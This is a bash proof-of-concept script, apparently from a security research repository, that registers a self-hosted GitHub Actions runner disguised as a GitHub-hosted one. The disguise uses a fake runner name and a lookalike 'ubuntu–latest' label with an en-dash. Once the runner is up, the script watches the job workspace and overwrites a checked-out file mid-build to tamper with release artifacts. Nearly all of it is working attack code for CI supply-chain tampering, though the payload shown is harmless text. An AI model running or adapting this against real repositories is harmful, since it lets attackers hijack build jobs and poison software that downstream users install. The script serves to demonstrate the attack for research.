#!/bin/bash

# set variables
NAMESPACE='offensive-actions'
REPO='release-tampering-pocs'
FILE_TO_OVERWRITE='original.txt'
RUNNER_NAME='GitHub Actions 1000000063'
RUNNER_TAG='ubuntu–latest'
RUNNER_GROUP='Default'

# set the current values for actions-runner
# DO NOT TRUST stuff like that in a repository, if you recreate this change the values yourself
# you find them here: https://github.com/<namespace>/<repository>/settings/actions/runners/new?arch=x64&os=linux
VERSION='2.328.0'
SHA='01066fad3a2893e63e6ca880ae3a1fad5bf9329d60e77ee15f2b97c148c3cd4e'

# mimik the structure in a github runner
RUNNERDIR='/home/runner'
WORKDIR='work'
WORKPATH="$RUNNERDIR/$WORKDIR/$REPO"

# install and config runner, then start it in the background
echo 'Downloading the actions-runner'
sudo rm -rf $RUNNERDIR && sudo mkdir $RUNNERDIR && sudo chown -R "$(id -u -n):$(id -g -n)" $RUNNERDIR && cd $RUNNERDIR
curl -s -o "actions-runner-linux-x64-$VERSION.tar.gz" -L "https://github.com/actions/runner/releases/download/v$VERSION/actions-runner-linux-x64-$VERSION.tar.gz"

echo 'Validating the archive and unpacking the actions-runner'
echo "$SHA  actions-runner-linux-x64-$VERSION.tar.gz" | shasum -a 256 -c && tar xzf "./actions-runner-linux-x64-$VERSION.tar.gz"

echo 'Configuring the actions-runner'
./config.sh \
    --url "https://github.com/$NAMESPACE/$REPO" \
    --token $(gh api -X POST repos/$NAMESPACE/$REPO/actions/runners/registration-token | jq -r '.token') \
    --name $RUNNER_NAME \
    --work $WORKDIR \
    --runnergroup $RUNNER_GROUP \
    --labels $RUNNER_TAG \
    --ephemeral > /dev/null

echo 'Running the actions-runner'
./run.sh > /dev/null &
RUN_PID=$!

# set up the tampering
mkdir -p $WORKPATH
inotifywait $WORKPATH -e create
while read NEW_FILE; do
    if [[ "$NEW_FILE" == "$FILE_TO_OVERWRITE" ]]; then
        echo "This was tampered on a self-hosted runner and is very malicious." > "$WORKPATH/$REPO/$FILE_TO_OVERWRITE"
        echo "File $FILE_TO_OVERWRITE has successfully been tampered with."
        break
    fi
done < <(inotifywait -m "$WORKPATH/$REPO" -e close_write --format '%f')

# wait for the runner to finish, then clean up
while kill -0 "$RUN_PID" 2>/dev/null; do sleep 1; done
sudo rm -rf $RUNNERDIR
echo "Cleaned up, bye..."
exit 0
